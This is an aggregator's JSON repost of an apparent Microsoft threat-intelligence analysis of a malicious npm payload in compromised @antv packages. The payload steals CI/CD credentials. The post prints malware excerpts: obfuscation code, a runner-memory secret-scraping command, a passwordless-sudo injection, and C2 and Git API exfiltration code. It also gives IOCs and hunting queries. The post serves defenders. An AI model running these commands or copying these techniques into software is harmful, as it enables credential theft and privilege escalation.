{"id":55895,"date":"2026-05-20T14:41:29","date_gmt":"2026-05-20T14:41:29","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=55895"},"modified":"2026-05-20T14:41:29","modified_gmt":"2026-05-20T14:41:29","slug":"mini-shai-hulud-compromised-antv-npm-packages-enable-cicd-credential-theft","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=55895","title":{"rendered":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-20T19:28:40&#8243;,&#8221;description&#8221;:&#8221;Microsoft has identified an active supply chain attack targeting the _@antv_ node package manager (npm) package ecosystem. A threat actor compromised an _@antv_ maintainer account and published malicious versions of widely used data-visualization packages, resulting in cascading downstream impact.\\n\\nThe compromise propagated through dependency chains into libraries like _echarts-for-react_(which has more than 1 million weekly downloads), expanding the blast radius into CI\/CD pipelines and cloud workloads across the ecosystem. The malicious payload\u2014a ~499 KB obfuscated JavaScript file\u2014runs silently during npm install and is purpose-built to steal credentials from GitHub Actions environments.\\n\\nKey capabilities observed in the payload include multi-platform credential theft (GitHub, Amazon Web Services, HashiCorp Vault, npm, Kubernetes, 1Password), GitHub Action Runner process memory scraping, privilege escalation, dual-channel data exfiltration, and Supply chain Levels for Software Artifacts (SLSA) provenance forgery. These capabilities suggest a deliberate effort to evade analysis and an apparent focus on CI\/CD environments.\\n\\nThe authors of the antv account have also since confirmed in a ticket on the repo that the situation is now resolved.\\n\\n## Attack chain overview\\n\\n![](https:\/\/www.microsoft.com\/en-us\/security\/blog\/wp-content\/uploads\/2026\/05\/image-104-1024&#215;683.webp)Figure 1. @antv npm supply chain attack flow.\\n\\nThe _@antv_ organization maintains charting libraries (G2, G6) embedded across dashboards and applications. The attack proceeds through:\\n\\n  * Maintainer account compromise and publication of malicious _@antv_ package versions\\n  * Downstream dependency amplification (_echarts-for-react_ , _size-sensor_ , and others)\\n  * Automatic payload execution through a preinstall hook during npm install\\n  * Execution chain: node \u2192 shell \u2192 bun \u2192 payload (Bun runtime installed if absent)\\n\\n\\n\\n### Technical analysis\\n\\nThe payload replaces the legitimate index.js with a single-line obfuscated script.\\n\\n#### Obfuscation\\n\\n  * **Layer 1:** 1,732 Base64-encoded strings in a rotated array, decoded through lookup function with the shuffle key 0xa31de\\n  * **Layer 2:** Critical strings such as command-and-control (C2) domain and env var names are encrypted with a custom PBKDF2 and SHA-256 cipher, which is decrypted at runtime.\\n  * **Environment gating:** The payload exits immediately if it\u2019s not running on GitHub Actions on Linux\\n  * **Branch avoidance:** Skips the _main_ , _master_ , _dependabot\/_ , _renovate\/_ , and _gh-pages_ when using Git API exfiltration\\n\\n\\n    \\n    \\n    \/\/ Layer 1: 1,732 strings in rotated array with base64 decode\\n    (function(_0x44be0e, _0x3ff020){\\n        \/\/ Array shuffle IIFE with key 0xa31de\\n        _0x335af4[&#8216;push&#8217;](_0x335af4[&#8216;shift&#8217;]());\\n    })(_0x71ec, 0xa31de));\\n     \\n    \/\/ Layer 2: PBKDF2+SHA256 runtime decryption for critical strings\\n    var e6 = \\&#8221;a8269c01069452afb8a54de904e6419578d155fdbdb9e566bab8576a4266b61e\\&#8221;;\\n    var t6 = \\&#8221;7f44e4ba6f6a71bd0f789e7f83bd3104\\&#8221;;\\n    var u5 = new du(e6, t6);  \/\/ PBKDF2 cipher instance\\n    globalThis[\\&#8221;f2959c600\\&#8221;] = function(s) { return u5.decode(s); };\\n     \\n    \/\/ Environment gate &#8211; exits if not GitHub Actions on Linux\\n    this[&#8216;isGitHubActions&#8217;] = process.env[f2959c600(&#8217;68zz23c6NGR9&#8230;&#8217;)]  === &#8216;true&#8217;;\\n    this[&#8216;isLinuxRunner&#8217;]   = process.env[f2959c600(&#8216;NhUrwwYEwYIJ&#8230;&#8217;)] === &#8216;Linux&#8217;;\\n    \\n\\n#### Credential theft\\n\\nThe payload targets secrets across six platforms:\\n\\n  * **GitHub** : Extracts _GITHUB_TOKEN_ , scans for Personal Access Tokens (_gh[op]__) and installation tokens (_ghs__), validates through _\/user_ API, and enumerates repo and org secrets.\\n  * **Amazon Web Services(AWS)** : Queries Instance Metadata Service (169.254.169[.]254), Elastic Container Service metadata (169.254.170[.]2), reads _.aws\/_ files, harvests env vars, and then calls SecretsManager across all regions.\\n  * **HashiCorp Vault** : Searches 12+ token paths (_\/var\/run\/secrets\/vault\/token_ , _~\/.vault-token_ , and others) and connects to a local Vault at 127.0.0[.]1:8200.\\n  * **npm** : Validates tokens using _\/-\/whoami_ , exchanges OpenID Connect (OIDC) tokens for publish access, and enumerates packages\\n  * **Kubernetes** : Reads service account tokens and enumerates namespace secrets\\n  * **1Password** : Interacts with command-line interface (CLI) and attempts master password extraction with two-factor authentication (2FA) bypass\\n\\n\\n    \\n    \\n    \/\/ AWS Secrets Manager enumeration\\n    &#8216;secretsmanager:ListSecrets&#8217;\\n    &#8216;secretsmanager:GetSecretValue(&#8216;\\n     \\n    \/\/ Vault token paths searched (12+ locations)\\n    &#8216;\/var\/run\/secrets\/vault\/token&#8217;\\n    &#8216;\/.vault-token&#8217;\\n    &#8216;\/home\/runner\/.vault-token&#8217;\\n    &#8216;\/root\/.vault-token&#8217;\\n    &#8216;\/etc\/vault\/token&#8217;\\n     \\n    \/\/ GitHub API secret enumeration\\n    &#8216;\/actions\/secrets?per_page=100&#8217;\\n    &#8216;\/actions\/organization-secrets?per_page=100&#8217;\\n    \\n\\n#### Runner memory scraping\\n\\nThe payload locates the GitHub Actions Runner.Worker PID using \/proc scanning, then extracts runtime secrets using the following:\\n    \\n    \\n    \/\/ Locates Runner.Worker PID via \/proc\\n    &#8216;findRunnerWorkerPIDLinux&#8217;\\n    \/\/ Scans \/proc\/\/cmdline for \\&#8221;Runner.Worker\\&#8221;\\n     \\n    \/\/ Extracts secrets from process memory\\n    tr -d &#8216;\\\\0&#8217; | grep -aoE &#8216;\\&#8221;[^\\&#8221;]+\\&#8221;:{\\&#8221;value\\&#8221;:\\&#8221;[^\\&#8221;]*\\&#8221;,\\&#8221;isSecret\\&#8221;:true}&#8217; | sort -u\\n    \\n\\nThis activity bypasses normal secret masking by reading secrets directly from runner process memory.\\n\\n#### Privilege escalation\\n\\n  * Injects sudoers rule through bind mount: _echo &#8216;runner ALL=(ALL) NOPASSWD:ALL&#8217; \\u003e \/mnt\/runner_\\n  * Modifies _\/etc\/hosts_ for DNS redirection\\n\\n\\n    \\n    \\n    \/\/ Injects passwordless sudo via \/etc\/sudoers.d bind mount at \/mnt\\n    echo &#8216;runner ALL=(ALL) NOPASSWD:ALL&#8217; \\u003e \\n     \\u0026\\u0026 chmod 0440 \/mnt\/runner\\n     \\n    \/\/ DNS manipulation\\n    sudo sh -c \\&#8221;echo &#8216;127.0.0.1 &#8216; \\u003e\\u003e \/etc\/hosts\\&#8221;\\n     \\n    \/\/ Validates sudo access before operations\\n    sudo -n true\\n    \\n\\n#### Exfiltration\\n\\nDual-channel exfiltration:\\n\\n  * **Primary:** HTTPS to encrypted C2 domain (port 443) with DNS pre-check and health probe\\n  * **Fallback:** Git Data API \u2014 Creates blobs, trees, or commits in victim repositories on non-protected branches\\n  * **Tertiary:** Creates public repos under victim accounts with reversed description (\\&#8221;niagA oG eW ereH :duluH-iahS\\&#8221;); more than 2,200 of these repos have been observed as of this writing\\n\\n\\n    \\n    \\n    \/\/ Primary: HTTPS C2 with encrypted domain (port 443)\\n    let config = {\\n        &#8216;domain&#8217;: f2959c600(&#8216;bXVunP4+izfR\/cOx8zhW\/fw8v6xFc4cvjYgGdbEE&#8217;),\\n        &#8216;port&#8217;: 0x1bb,  \/\/ 443\\n        &#8216;path&#8217;: f2959c600(&#8216;5WA4NOQUD\/n\/mNx\/cqL4gSVQrTrwV+RBKO7TXeTIk3fFBUt+2arGDjc=&#8217;),\\n        &#8216;dry_run&#8217;: false\\n    };\\n     \\n    \/\/ Fallback: Git Data API &#8211; creates blobs\/trees\/commits in victim repos\\n    await j(token, &#8216;\/repos\/&#8217; + owner + &#8216;\/&#8217; + repo + &#8216;\/git\/blobs&#8217;,\\n            {&#8216;method&#8217;: &#8216;POST&#8217;, &#8216;body&#8217;: JSON.stringify(stolen_data)});\\n    &#8216;\/git\/trees&#8217;\\n    &#8216;\/git\/commits&#8217;\\n     \\n    \/\/ Branch filter &#8211; avoids protected branches to evade detection\\n    Dw = [&#8216;dependabot\/&#8217;, &#8216;renovate\/&#8217;, &#8216;gh-pages&#8217;, &#8216;docs\/&#8217;,\\n          &#8216;copilot\/&#8217;, &#8216;master&#8217;, &#8216;main&#8217;];\\n    \\n\\n#### Propagation and persistence\\n\\n  * Enumerates _\/user\/repos_ and _\/user\/orgs_ to spread into additional repositories\\n  * Installs Bun runtime, executes second-stage payload using _bun run .claude\/_\\n  * Deploys token monitor for ongoing credential capture\\n  * Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate\\n\\n\\n\\n#### Impact and blast radius\\n\\n  * Direct compromise of _@antv_ packages with broad ecosystem adoption\\n  * Amplification through downstream dependencies into thousands of projects\\n  * Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access\\n  * SLSA provenance forgery erodes trust in supply chain attestation frameworks\\n\\n\\n\\n### **How GitHub took action to prevent further harm******\\n\\nUpon learning of the attack, GitHub acted immediately to limit further damage. It removed 640 malicious packages and invalidated 61,274 npm granular access tokens with write permissions and 2FA bypass, preventing leaked tokens from being used in this or similar attacks. GitHub also published advisories relevant to this malware campaign in the GitHub Advisory Database and alerted the community through Dependabot alerts and npm audit. It continues to monitor for additional affected packages and remove them as needed.\\n\\n## Mitigation and protection guidance\\n\\nMicrosoft recommends the following mitigations to reduce the impact of this threat:\\n\\n  * Review dependency trees for direct or transitive usage of affected _@antv\/_ packages.\\n  * Identify systems that installed or built affected package versions during the suspected exposure window.\\n  * Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.\\n  * Disable pre- and post-installation script execution by ensuring you run npm install with `&#8211;ignore-scripts`.\\n  * While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI\/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.\\n  * Rotate credentials, tokens, npm access tokens, CI\/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.\\n  * Audit organization and personal GitHub accounts for public repositories with the description \u201cniagA oG eW ereH :duluH-iahS\u201d or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.\\n  * Audit CI\/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.\\n  * Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.\\n  * Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.\\n  * Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.\\n  * Use Microsoft Defender Vulnerability Management to search for antv packages across your estate.\\n\\n\\n\\n### Microsoft Defender XDR Detections\\n\\nMicrosoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.\\n\\nCustomers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.\\n\\n**Tactic**| **Observed activity**| **Microsoft Defender coverage**  \\n&#8212;|&#8212;|&#8212;  \\nExecution | Suspicious script execution during npm install or package lifecycle activity| **Microsoft Defender Antivirus**   \\n- Trojan:AIGen\/NPMStealer   \\n- Backdoor:Python\/ShaiWorm   \\n- Trojan:JS\/ShaiWorm   \\n- Trojan:JS\/ObfusNpmJs   \\n  \\n**Microsoft Defender for Endpoint**   \\n- Suspicious usage of Bun runtime   \\n- Suspicious Installation of Bun runtime   \\n- Suspicious _Node.js_ process behavior   \\nCredential Access| Potential harvesting of environment variables, tokens, or developer secrets| **Microsoft Defender for Endpoint**   \\n- Credential access attempt   \\n- Suspicious cloud credential access by npm-cached binary   \\n- Kubernetes secrets enumeration indicative of credential access  \\n  \\n**Microsoft Defender for Cloud**   \\nSha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials  \\nCommand and Control| Potential outbound connections from build systems or developer machines| **Microsoft Defender for Endpoint**   \\nConnection to a custom network indicator  \\n  \\n* * *\\n\\n# Microsoft Security Copilot\\n\\nSecurity Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat, including:\\n\\n  * Incident investigation\\n  * Microsoft user analysis\\n  * Threat Intelligence 360 report based on MDTI article\\n  * Vulnerability or supply chain impact assessment\\n\\n\\n\\nNote that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.\\n\\n### **Microsoft Defender XDR Threat analytics**\\n\\nhttps:\/\/security.microsoft.com\/threatanalytics3\/5879a0e7-f145-407b-bc84-1ae405a016ea\/overview\\n\\n### Advanced hunting\\n\\nThe following sample queries let you search for a week&#8217;s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page \\u003e Query tab, and update the time range to Last 30 days.\\n\\n**Hunt for suspicious npm lifecycle script execution**\\n\\nThis query searches for _Node.js_ and npm activity involving install lifecycle behavior and relevant package references.\\n    \\n    \\n    DeviceProcessEvents\\n    | where FileName in~ (\\&#8221;node.exe\\&#8221;, \\&#8221;npm.cmd\\&#8221;, \\&#8221;npm.exe\\&#8221;, \\&#8221;npx.cmd\\&#8221;, \\&#8221;npx.exe\\&#8221;)\\n    | where ProcessCommandLine has_any (\\&#8221;preinstall\\&#8221;, \\&#8221;postinstall\\&#8221;, \\&#8221;install\\&#8221;)\\n    | where ProcessCommandLine has_any (\\&#8221;@antv\\&#8221;, \\&#8221;echarts-for-react\\&#8221;)\\n    | project Timestamp, DeviceName, FileName, ProcessCommandLine,\\n              InitiatingProcessFileName, InitiatingProcessCommandLine,\\n              AccountName\\n    \\n\\n**Hunt for potential compromise of through malicious npm packages**\\n    \\n    \\n    DeviceProcessEvents\\n    | where Timestamp \\u003e ago(2d)\\n    | where FileName in (\\&#8221;bun\\&#8221;, \\&#8221;bun.exe\\&#8221;)\\n    | where ProcessCommandLine has \\&#8221;run index.js\\&#8221;\\n    \\n\\n****Hunt for affected dependencies in your software inventory****\\n    \\n    \\n    DeviceTvmSoftwareInventory\\n    | where SoftwareName has \\&#8221;antv\\&#8221; or SoftwareVendor has \\&#8221;antv\\&#8221;\\n    | project DeviceName, OSPlatform, SoftwareVendor, SoftwareName, SoftwareVersion\\n    \\n\\n**Hunt for suspicious outbound connection from python backdoor**\\n    \\n    \\n    DeviceNetworkEvents\\n    | where Timestamp \\u003e ago(2d)\\n    | where InitiatingProcessFileName startswith \\&#8221;python\\&#8221;\\n    | where InitiatingProcessCommandLine has \\&#8221;\/cat.py\\&#8221;\\n    \\n\\n**Hunt for suspicious outbound activity from Node.js processes**\\n\\nSearches for network connections initiated by Node.js or npm processes that reference package-related paths or commands.\\n    \\n    \\n    DeviceNetworkEvents\\n    | where InitiatingProcessFileName in~ (\\&#8221;node.exe\\&#8221;, \\&#8221;npm.exe\\&#8221;, \\&#8221;npx.exe\\&#8221;)\\n    | where InitiatingProcessCommandLine has_any (\\&#8221;@antv\\&#8221;, \\&#8221;echarts-for-react\\&#8221;, \\&#8221;node_modules\\&#8221;)\\n    | project Timestamp, DeviceName, RemoteUrl, RemoteIP,\\n              InitiatingProcessFileName, InitiatingProcessCommandLine,\\n              AccountName\\n    \\n\\n**Hunt for affected dependency references in developer directories**\\n\\nThis query searches for package manifest or lockfile activity that might contain relevant dependency references.\\n    \\n    \\n    DeviceFileEvents\\n    | where FileName in~ (\\&#8221;package.json\\&#8221;, \\&#8221;package-lock.json\\&#8221;, \\&#8221;yarn.lock\\&#8221;, \\&#8221;pnpm-lock.yaml\\&#8221;)\\n    | where FolderPath has_any (\\&#8221;node_modules\\&#8221;, \\&#8221;src\\&#8221;, \\&#8221;repo\\&#8221;, \\&#8221;workspace\\&#8221;)\\n    | where AdditionalFields has_any (\\&#8221;@antv\\&#8221;, \\&#8221;echarts-for-react\\&#8221;)\\n    | project Timestamp, DeviceName, FolderPath, FileName,\\n              InitiatingProcessFileName, InitiatingProcessCommandLine\\n    \\n\\n**Hunt for post-compromise C2 activity**\\n    \\n    \\n    DeviceNetworkEvents\\n    | where Timestamp \\u003e ago(2d)\\n    | where RemoteUrl has \\&#8221;t.m-kosche.com\\&#8221;\\n    \\n\\n**Shai-Hulud npm supply-chain indicator observed inside a Kubernetes container**\\n    \\n    \\n    CloudProcessEvents\\n    | where ProcessCommandLine has_any (\\&#8221;IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner\\&#8221;, \\&#8221;niagA oG eW ereH\\&#8221;, \\&#8221;:duluH-iahS\\&#8221;, \\&#8221;t.m-kosche.com\\&#8221;, \\&#8221;7cb42f57561c321ecb09b4552802ae0ac55b3a7a\\&#8221;, \\&#8221;@antv\/setup\\&#8221;)\\n    | project Timestamp, AzureResourceId, KubernetesPodName, KubernetesNamespace, ContainerName, ContainerId, ContainerImageName, ProcessName, ProcessCommandLine, ProcessCurrentWorkingDirectory, ParentProcessName, ProcessId, ParentProcessId, AccountName\\n    \\n\\n### Indicators of Compromise (IOC)\\n\\n**Indicator**| **Type**| **Description**  \\n&#8212;|&#8212;|&#8212;  \\n@antv \u2013 whole account| Package scope|   All packages maintained by the antv account were compromised.  \\n  \\nAs per the latest statement from the account author\u2019s this situation is now resolved.  \\necharts-for-react| Package name|   One of the major downstream packages impacted by the antv compromise.  \\nAs per the latest statement from the repository author\u2019s this situation is now resolved  \\na68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c| SHA-256| Malicious payload JavaScript file  \\nfb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142| SHA-256| Malicious backdoor Python script  \\nt.m-kosche[.]com:443| Domain| Infrastructure associated with campaign  \\nIndex.js| File name| Malicious script or dropped file  \\ncat.py| File name| Malicious script or dropped file  \\n  \\n* * *\\n\\n## References\\n\\n  * Mini Shai-Hulud Hits @antv Ecosystem, 639 Compromised npm Package Versions\\n\\n\\n\\n_This research is provided by Microsoft Defender Security Research with contributions from Rahul Mohandas, Sumith Maniath, Ahmed Saleem Kasmani, Arvind Gowda, Sagar Patil, and members of Microsoft Threat Intelligence._\\n\\n## Learn more\\n\\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.\\n\\nTo get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.\\n\\nTo hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.\\n\\nReview our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  \\n\\n  * How Microsoft discovers and mitigates evolving attacks against AI guardrails \\n  * Learn more about securing Copilot Studio agents with Microsoft Defender  \\n  * Evaluate your AI readiness with our latest Zero Trust for AI workshop.\\n  * Learn more about Protect your agents in real-time during runtime (Preview)\\n  * Explore how to build and customize agents with Copilot Studio Agent Builder \\n  * Microsoft 365 Copilot AI security documentation \\n\\n\\n\\nThe post Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft appeared first on Microsoft Security Blog.&#8221;,&#8221;published&#8221;:&#8221;2026-05-20T17:48:44&#8243;,&#8221;modified&#8221;:&#8221;2026-05-20T17:48:44&#8243;,&#8221;type&#8221;:&#8221;mssecure&#8221;,&#8221;title&#8221;:&#8221;Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSSECURE:6D00E966D9372364C645950D0C2319E5&#8243;,&#8221;bulletinFamily&#8221;:&#8221;blog&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.microsoft.com\/en-us\/security\/blog\/2026\/05\/20\/mini-shai-hulud-compromised-antv-npm-packages-enable-ci-cd-credential-theft\/&#8221;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-20T19:28:40&#8243;,&#8221;description&#8221;:&#8221;Microsoft has identified an active supply chain attack targeting the _@antv_ node package manager (npm) package ecosystem. A threat actor compromised an _@antv_ maintainer account&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,110,13,33,7,11,5],"class_list":["post-55895","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-mssecure","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=55895\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-20T19:28:40&#8243;,&#8221;description&#8221;:&#8221;Microsoft has identified an active supply chain attack targeting the _@antv_ node package manager (npm) package ecosystem. A threat actor compromised an _@antv_ maintainer account...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=55895\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-20T14:41:29+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Mini Shai Hulud: Compromised @antv npm packages enable CI\\\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5\",\"datePublished\":\"2026-05-20T14:41:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895\"},\"wordCount\":2742,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"mssecure\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55895#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895\",\"name\":\"Mini Shai Hulud: Compromised @antv npm packages enable CI\\\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-20T14:41:29+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=55895\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=55895#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Mini Shai Hulud: Compromised @antv npm packages enable CI\\\/CD credential theft_MSSECURE:6D00E966D9372364C645950D0C2319E5\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Mini Shai Hulud: Compromised @antv npm packages enable CI\/CD credential 